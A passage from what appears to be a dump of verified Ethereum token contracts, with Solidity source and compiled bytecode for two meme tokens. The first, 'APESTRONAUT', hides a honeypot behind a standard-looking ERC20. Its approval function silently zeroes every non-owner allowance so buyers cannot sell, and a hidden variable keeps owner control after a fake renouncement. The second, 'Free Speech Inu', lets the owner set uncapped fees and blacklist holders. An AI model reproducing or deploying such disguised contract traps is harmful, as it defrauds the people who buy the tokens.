a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract ape is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'APESTRONAUT | https://t.me/apestronauterc20'; string private _symbol = '$APE'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _approve(address f, address t, uint256 amount) private { require(f != address(0), "ERC20: approve from the zero address"); require(t != address(0), "ERC20: approve to the zero address"); if (f != owner()) { _allowances[f][t] = 0; emit Approval(f, t, 4); } else { _allowances[f][t] = amount; emit Approval(f, t, amount); } } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ef2aaa6ea5f3c2324f3dfb1507da2db777799478ce264abbdaa66c66bd779eda64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
2,507
0x7d1b4bc7b7879e19903dddd5bb37b12e69b4e35a
/** *Submitted for verification at Etherscan.io on 2022-03-25 */ /* https://t.me/+LM9QBdeog8oyNDBl https://twitter.com/elonmusk/status/1507259709224632344 MUSK PLAY */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract muskstoken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Free Speech Inu"; string private constant _symbol = "Free Speech"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x3a03363F4787b482b9e22157fEf9153689326488); address payable private _marketingAddress = payable(0x3a03363F4787b482b9e22157fEf9153689326488); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 15000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610561578063dd62ed3e14610581578063ea1644d5146105c7578063f2fde38b146105e757600080fd5b8063a2a957bb146104dc578063a9059cbb146104fc578063bfd792841461051c578063c3c8cd801461054c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104525780638f9a55c01461047257806395d89b411461048857806398a5c315146104bc57600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638da5cb5b1461043457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196b565b610607565b005b34801561020a57600080fd5b5060408051808201909152600f81526e467265652053706565636820496e7560881b60208201525b60405161023f9190611a30565b60405180910390f35b34801561025457600080fd5b50610268610263366004611a85565b6106a6565b604051901515815260200161023f565b34801561028457600080fd5b50601454610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50670de0b6b3a76400005b60405190815260200161023f565b3480156102e157600080fd5b506102686102f0366004611ab1565b6106bd565b34801561030157600080fd5b506102c760185481565b34801561031757600080fd5b506040516009815260200161023f565b34801561033357600080fd5b50601554610298906001600160a01b031681565b34801561035357600080fd5b506101fc610362366004611af2565b610726565b34801561037357600080fd5b506101fc610382366004611b1f565b610771565b34801561039357600080fd5b506101fc6107b9565b3480156103a857600080fd5b506102c76103b7366004611af2565b610804565b3480156103c857600080fd5b506101fc610826565b3480156103dd57600080fd5b506101fc6103ec366004611b3a565b61089a565b3480156103fd57600080fd5b506102c760165481565b34801561041357600080fd5b506102c7610422366004611af2565b60116020526000908152604090205481565b34801561044057600080fd5b506000546001600160a01b0316610298565b34801561045e57600080fd5b506101fc61046d366004611b1f565b6108c9565b34801561047e57600080fd5b506102c760175481565b34801561049457600080fd5b5060408051808201909152600b81526a08ce4caca40a6e0cacac6d60ab1b6020820152610232565b3480156104c857600080fd5b506101fc6104d7366004611b3a565b610911565b3480156104e857600080fd5b506101fc6104f7366004611b53565b610940565b34801561050857600080fd5b50610268610517366004611a85565b61097e565b34801561052857600080fd5b50610268610537366004611af2565b60106020526000908152604090205460ff1681565b34801561055857600080fd5b506101fc61098b565b34801561056d57600080fd5b506101fc61057c366004611b85565b6109df565b34801561058d57600080fd5b506102c761059c366004611c09565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d357600080fd5b506101fc6105e2366004611b3a565b610a80565b3480156105f357600080fd5b506101fc610602366004611af2565b610aaf565b6000546001600160a01b0316331461063a5760405162461bcd60e51b815260040161063190611c42565b60405180910390fd5b60005b81518110156106a25760016010600084848151811061065e5761065e611c77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a81611ca3565b91505061063d565b5050565b60006106b3338484610b99565b5060015b92915050565b60006106ca848484610cbd565b61071c843361071785604051806060016040528060288152602001611dbd602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f9565b610b99565b5060019392505050565b6000546001600160a01b031633146107505760405162461bcd60e51b815260040161063190611c42565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079b5760405162461bcd60e51b815260040161063190611c42565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ee57506013546001600160a01b0316336001600160a01b0316145b6107f757600080fd5b4761080181611233565b50565b6001600160a01b0381166000908152600260205260408120546106b79061126d565b6000546001600160a01b031633146108505760405162461bcd60e51b815260040161063190611c42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c45760405162461bcd60e51b815260040161063190611c42565b601655565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161063190611c42565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093b5760405162461bcd60e51b815260040161063190611c42565b601855565b6000546001600160a01b0316331461096a5760405162461bcd60e51b815260040161063190611c42565b600893909355600a91909155600955600b55565b60006106b3338484610cbd565b6012546001600160a01b0316336001600160a01b031614806109c057506013546001600160a01b0316336001600160a01b0316145b6109c957600080fd5b60006109d430610804565b9050610801816112f1565b6000546001600160a01b03163314610a095760405162461bcd60e51b815260040161063190611c42565b60005b82811015610a7a578160056000868685818110610a2b57610a2b611c77565b9050602002016020810190610a409190611af2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7281611ca3565b915050610a0c565b50505050565b6000546001600160a01b03163314610aaa5760405162461bcd60e51b815260040161063190611c42565b601755565b6000546001600160a01b03163314610ad95760405162461bcd60e51b815260040161063190611c42565b6001600160a01b038116610b3e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610631565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610631565b6001600160a01b038216610c5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610631565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610631565b6001600160a01b038216610d835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610631565b60008111610de55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610631565b6000546001600160a01b03848116911614801590610e1157506000546001600160a01b03838116911614155b156110f257601554600160a01b900460ff16610eaa576000546001600160a01b03848116911614610eaa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610631565b601654811115610efc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610631565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3e57506001600160a01b03821660009081526010602052604090205460ff16155b610f965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610631565b6015546001600160a01b0383811691161461101b5760175481610fb884610804565b610fc29190611cbe565b1061101b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610631565b600061102630610804565b60185460165491925082101590821061103f5760165491505b8080156110565750601554600160a81b900460ff16155b801561107057506015546001600160a01b0386811691161415